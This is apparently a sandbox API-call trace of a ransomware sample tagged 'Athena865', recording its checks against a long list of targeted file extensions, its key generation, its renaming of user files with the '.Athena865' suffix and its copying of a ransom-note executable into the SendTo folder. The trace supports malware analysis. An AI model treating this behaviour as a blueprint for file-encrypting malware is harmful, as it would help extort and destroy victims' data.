[0053.193] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1 [0053.193] lstrlenW (lpString="dad") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0053.193] lstrlenW (lpString="dadiagrams") returned 10 [0053.193] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1 [0053.193] lstrlenW (lpString="daschema") returned 8 [0053.193] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1 [0053.193] lstrlenW (lpString="db-journal") returned 10 [0053.193] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1 [0053.193] lstrlenW (lpString="db-shm") returned 6 [0053.193] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1 [0053.193] lstrlenW (lpString="db-wal") returned 6 [0053.193] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1 [0053.193] lstrlenW (lpString="dbc") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0053.193] lstrlenW (lpString="dbs") returned 3 [0053.193] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0053.193] lstrlenW (lpString="dbt") returned 3 [0053.194] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0053.194] lstrlenW (lpString="dbv") returned 3 [0053.194] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0053.194] lstrlenW (lpString="dbx") returned 3 [0053.194] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0053.194] lstrlenW (lpString="dcb") returned 3 [0053.194] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0053.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.Athena865") returned 93 [0053.194] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms.athena865"), dwFlags=0x1) returned 1 [0053.195] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=248) returned 1 [0053.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.195] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.196] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.196] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.196] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x154 [0053.198] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000 [0053.201] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.202] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.202] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0053.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.203] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.203] CloseHandle (hObject=0x154) returned 1 [0053.203] CloseHandle (hObject=0x17c) returned 1 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.203] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0053.203] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.203] ReleaseMutex (hMutex=0xec) returned 1 [0053.203] CloseHandle (hObject=0xec) returned 1 [0053.203] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo" [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c900 | out: hHeap=0x4f0000) returned 1 [0053.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5a8 | out: hHeap=0x4f0000) returned 1 [0053.203] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo") returned 53 [0053.203] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A7C67D87B615C7B1720BC280011EEFAD") returned 0xec [0053.203] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.204] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo" [0053.204] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.204] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.204] GetLastError () returned 0x0 [0053.204] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.204] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.205] CloseHandle (hObject=0xf4) returned 1 [0053.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.205] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.205] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.206] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.206] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.206] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.206] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.206] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.206] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.206] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.206] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.206] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x639ff80f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".") returned 1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="..") returned 1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="windows") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="bootmgr") returned 1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="temp") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="pagefile.sys") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="boot") returned 1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="ids.txt") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="ntuser.dat") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="perflogs") returned -1 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="MSBuild") returned -1 [0053.206] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget") returned 41 [0053.206] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Compressed (zipped) Folder.ZFSendToTarget" | out: lpString1="Compressed (zipped) Folder.ZFSendToTarget") returned="Compressed (zipped) Folder.ZFSendToTarget" [0053.206] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget") returned 41 [0053.206] lstrlenW (lpString="Athena865") returned 9 [0053.206] lstrcmpiW (lpString1="dToTarget", lpString2="Athena865") returned 1 [0053.206] lstrlenW (lpString=".dll") returned 4 [0053.206] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".dll") returned 1 [0053.206] lstrlenW (lpString=".lnk") returned 4 [0053.207] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".lnk") returned 1 [0053.207] lstrlenW (lpString=".ini") returned 4 [0053.207] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".ini") returned 1 [0053.207] lstrlenW (lpString=".sys") returned 4 [0053.207] lstrcmpiW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".sys") returned 1 [0053.207] lstrlenW (lpString="Compressed (zipped) Folder.ZFSendToTarget") returned 41 [0053.207] lstrlenW (lpString="bak") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="bak") returned 1 [0053.207] lstrlenW (lpString="ba_") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="ba_") returned 1 [0053.207] lstrlenW (lpString="dbb") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="dbb") returned 1 [0053.207] lstrlenW (lpString="vmdk") returned 4 [0053.207] lstrcmpiW (lpString1="rget", lpString2="vmdk") returned -1 [0053.207] lstrlenW (lpString="rar") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="rar") returned -1 [0053.207] lstrlenW (lpString="zip") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="zip") returned -1 [0053.207] lstrlenW (lpString="tgz") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="tgz") returned -1 [0053.207] lstrlenW (lpString="vbox") returned 4 [0053.207] lstrcmpiW (lpString1="rget", lpString2="vbox") returned -1 [0053.207] lstrlenW (lpString="vdi") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="vdi") returned -1 [0053.207] lstrlenW (lpString="vhd") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="vhd") returned -1 [0053.207] lstrlenW (lpString="vhdx") returned 4 [0053.207] lstrcmpiW (lpString1="rget", lpString2="vhdx") returned -1 [0053.207] lstrlenW (lpString="avhd") returned 4 [0053.207] lstrcmpiW (lpString1="rget", lpString2="avhd") returned 1 [0053.207] lstrlenW (lpString="db") returned 2 [0053.207] lstrcmpiW (lpString1="et", lpString2="db") returned 1 [0053.207] lstrlenW (lpString="db2") returned 3 [0053.207] lstrcmpiW (lpString1="get", lpString2="db2") returned 1 [0053.208] lstrlenW (lpString="db3") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="db3") returned 1 [0053.208] lstrlenW (lpString="dbf") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="dbf") returned 1 [0053.208] lstrlenW (lpString="mdf") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="mdf") returned -1 [0053.208] lstrlenW (lpString="mdb") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="mdb") returned -1 [0053.208] lstrlenW (lpString="sql") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="sql") returned -1 [0053.208] lstrlenW (lpString="sqlite") returned 6 [0053.208] lstrcmpiW (lpString1="Target", lpString2="sqlite") returned 1 [0053.208] lstrlenW (lpString="sqlite3") returned 7 [0053.208] lstrcmpiW (lpString1="oTarget", lpString2="sqlite3") returned -1 [0053.208] lstrlenW (lpString="sqlitedb") returned 8 [0053.208] lstrcmpiW (lpString1="ToTarget", lpString2="sqlitedb") returned 1 [0053.208] lstrlenW (lpString="xml") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="xml") returned -1 [0053.208] lstrlenW (lpString="$er") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="$er") returned 1 [0053.208] lstrlenW (lpString="4dd") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="4dd") returned 1 [0053.208] lstrlenW (lpString="4dl") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="4dl") returned 1 [0053.208] lstrlenW (lpString="^^^") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="^^^") returned 1 [0053.208] lstrlenW (lpString="abs") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="abs") returned 1 [0053.208] lstrlenW (lpString="abx") returned 3 [0053.208] lstrcmpiW (lpString1="get", lpString2="abx") returned 1 [0053.208] lstrlenW (lpString="accdb") returned 5 [0053.208] lstrcmpiW (lpString1="arget", lpString2="accdb") returned 1 [0053.208] lstrlenW (lpString="accdc") returned 5 [0053.208] lstrcmpiW (lpString1="arget", lpString2="accdc") returned 1 [0053.208] lstrlenW (lpString="accde") returned 5 [0053.208] lstrcmpiW (lpString1="arget", lpString2="accde") returned 1 [0053.209] lstrlenW (lpString="accdr") returned 5 [0053.209] lstrcmpiW (lpString1="arget", lpString2="accdr") returned 1 [0053.209] lstrlenW (lpString="accdt") returned 5 [0053.209] lstrcmpiW (lpString1="arget", lpString2="accdt") returned 1 [0053.209] lstrlenW (lpString="accdw") returned 5 [0053.209] lstrcmpiW (lpString1="arget", lpString2="accdw") returned 1 [0053.209] lstrlenW (lpString="accft") returned 5 [0053.209] lstrcmpiW (lpString1="arget", lpString2="accft") returned 1 [0053.209] lstrlenW (lpString="adb") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="adb") returned 1 [0053.209] lstrlenW (lpString="adb") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="adb") returned 1 [0053.209] lstrlenW (lpString="ade") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="ade") returned 1 [0053.209] lstrlenW (lpString="adf") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="adf") returned 1 [0053.209] lstrlenW (lpString="adn") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="adn") returned 1 [0053.209] lstrlenW (lpString="adp") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="adp") returned 1 [0053.209] lstrlenW (lpString="alf") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="alf") returned 1 [0053.209] lstrlenW (lpString="ask") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="ask") returned 1 [0053.209] lstrlenW (lpString="btr") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="btr") returned 1 [0053.209] lstrlenW (lpString="cat") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="cat") returned 1 [0053.209] lstrlenW (lpString="cdb") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="cdb") returned 1 [0053.209] lstrlenW (lpString="ckp") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="ckp") returned 1 [0053.209] lstrlenW (lpString="cma") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="cma") returned 1 [0053.209] lstrlenW (lpString="cpd") returned 3 [0053.209] lstrcmpiW (lpString1="get", lpString2="cpd") returned 1 [0053.210] lstrlenW (lpString="dacpac") returned 6 [0053.210] lstrcmpiW (lpString1="Target", lpString2="dacpac") returned 1 [0053.210] lstrlenW (lpString="dad") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dad") returned 1 [0053.210] lstrlenW (lpString="dadiagrams") returned 10 [0053.210] lstrcmpiW (lpString1="ndToTarget", lpString2="dadiagrams") returned 1 [0053.210] lstrlenW (lpString="daschema") returned 8 [0053.210] lstrcmpiW (lpString1="ToTarget", lpString2="daschema") returned 1 [0053.210] lstrlenW (lpString="db-journal") returned 10 [0053.210] lstrcmpiW (lpString1="ndToTarget", lpString2="db-journal") returned 1 [0053.210] lstrlenW (lpString="db-shm") returned 6 [0053.210] lstrcmpiW (lpString1="Target", lpString2="db-shm") returned 1 [0053.210] lstrlenW (lpString="db-wal") returned 6 [0053.210] lstrcmpiW (lpString1="Target", lpString2="db-wal") returned 1 [0053.210] lstrlenW (lpString="dbc") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dbc") returned 1 [0053.210] lstrlenW (lpString="dbs") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dbs") returned 1 [0053.210] lstrlenW (lpString="dbt") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dbt") returned 1 [0053.210] lstrlenW (lpString="dbv") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dbv") returned 1 [0053.210] lstrlenW (lpString="dbx") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dbx") returned 1 [0053.210] lstrlenW (lpString="dcb") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dcb") returned 1 [0053.210] lstrlenW (lpString="dct") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dct") returned 1 [0053.210] lstrlenW (lpString="dcx") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="dcx") returned 1 [0053.210] lstrlenW (lpString="ddl") returned 3 [0053.210] lstrcmpiW (lpString1="get", lpString2="ddl") returned 1 [0053.210] lstrlenW (lpString="dlis") returned 4 [0053.210] lstrcmpiW (lpString1="rget", lpString2="dlis") returned 1 [0053.210] lstrlenW (lpString="dp1") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="dp1") returned 1 [0053.211] lstrlenW (lpString="dqy") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="dqy") returned 1 [0053.211] lstrlenW (lpString="dsk") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="dsk") returned 1 [0053.211] lstrlenW (lpString="dsn") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="dsn") returned 1 [0053.211] lstrlenW (lpString="dtsx") returned 4 [0053.211] lstrcmpiW (lpString1="rget", lpString2="dtsx") returned 1 [0053.211] lstrlenW (lpString="dxl") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="dxl") returned 1 [0053.211] lstrlenW (lpString="eco") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="eco") returned 1 [0053.211] lstrlenW (lpString="ecx") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="ecx") returned 1 [0053.211] lstrlenW (lpString="edb") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="edb") returned 1 [0053.211] lstrlenW (lpString="epim") returned 4 [0053.211] lstrcmpiW (lpString1="rget", lpString2="epim") returned 1 [0053.211] lstrlenW (lpString="fcd") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="fcd") returned 1 [0053.211] lstrlenW (lpString="fdb") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="fdb") returned 1 [0053.211] lstrlenW (lpString="fic") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="fic") returned 1 [0053.211] lstrlenW (lpString="flexolibrary") returned 12 [0053.211] lstrcmpiW (lpString1="SendToTarget", lpString2="flexolibrary") returned 1 [0053.211] lstrlenW (lpString="fm5") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="fm5") returned 1 [0053.211] lstrlenW (lpString="fmp") returned 3 [0053.211] lstrcmpiW (lpString1="get", lpString2="fmp") returned 1 [0053.211] lstrlenW (lpString="fmp12") returned 5 [0053.211] lstrcmpiW (lpString1="arget", lpString2="fmp12") returned -1 [0053.211] lstrlenW (lpString="fmpsl") returned 5 [0053.212] lstrcmpiW (lpString1="arget", lpString2="fmpsl") returned -1 [0053.212] lstrlenW (lpString="fol") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="fol") returned 1 [0053.212] lstrlenW (lpString="fp3") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="fp3") returned 1 [0053.212] lstrlenW (lpString="fp4") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="fp4") returned 1 [0053.212] lstrlenW (lpString="fp5") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="fp5") returned 1 [0053.212] lstrlenW (lpString="fp7") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="fp7") returned 1 [0053.212] lstrlenW (lpString="fpt") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="fpt") returned 1 [0053.212] lstrlenW (lpString="frm") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="frm") returned 1 [0053.212] lstrlenW (lpString="gdb") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="gdb") returned 1 [0053.212] lstrlenW (lpString="gdb") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="gdb") returned 1 [0053.212] lstrlenW (lpString="grdb") returned 4 [0053.212] lstrcmpiW (lpString1="rget", lpString2="grdb") returned 1 [0053.212] lstrlenW (lpString="gwi") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="gwi") returned -1 [0053.212] lstrlenW (lpString="hdb") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="hdb") returned -1 [0053.212] lstrlenW (lpString="his") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="his") returned -1 [0053.212] lstrlenW (lpString="ib") returned 2 [0053.212] lstrcmpiW (lpString1="et", lpString2="ib") returned -1 [0053.212] lstrlenW (lpString="idb") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="idb") returned -1 [0053.212] lstrlenW (lpString="ihx") returned 3 [0053.212] lstrcmpiW (lpString1="get", lpString2="ihx") returned -1 [0053.212] lstrlenW (lpString="itdb") returned 4 [0053.212] lstrcmpiW (lpString1="rget", lpString2="itdb") returned 1 [0053.212] lstrlenW (lpString="itw") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="itw") returned -1 [0053.213] lstrlenW (lpString="jet") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="jet") returned -1 [0053.213] lstrlenW (lpString="jtx") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="jtx") returned -1 [0053.213] lstrlenW (lpString="kdb") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="kdb") returned -1 [0053.213] lstrlenW (lpString="kexi") returned 4 [0053.213] lstrcmpiW (lpString1="rget", lpString2="kexi") returned 1 [0053.213] lstrlenW (lpString="kexic") returned 5 [0053.213] lstrcmpiW (lpString1="arget", lpString2="kexic") returned -1 [0053.213] lstrlenW (lpString="kexis") returned 5 [0053.213] lstrcmpiW (lpString1="arget", lpString2="kexis") returned -1 [0053.213] lstrlenW (lpString="lgc") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="lgc") returned -1 [0053.213] lstrlenW (lpString="lwx") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="lwx") returned -1 [0053.213] lstrlenW (lpString="maf") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="maf") returned -1 [0053.213] lstrlenW (lpString="maq") returned 3 [0053.213] lstrcmpiW (lpString1="get", lpString2="maq") returned -1 [0053.213] lstrlenW (lpString="mar") returned 3 [0053.213] lstrcmpiW 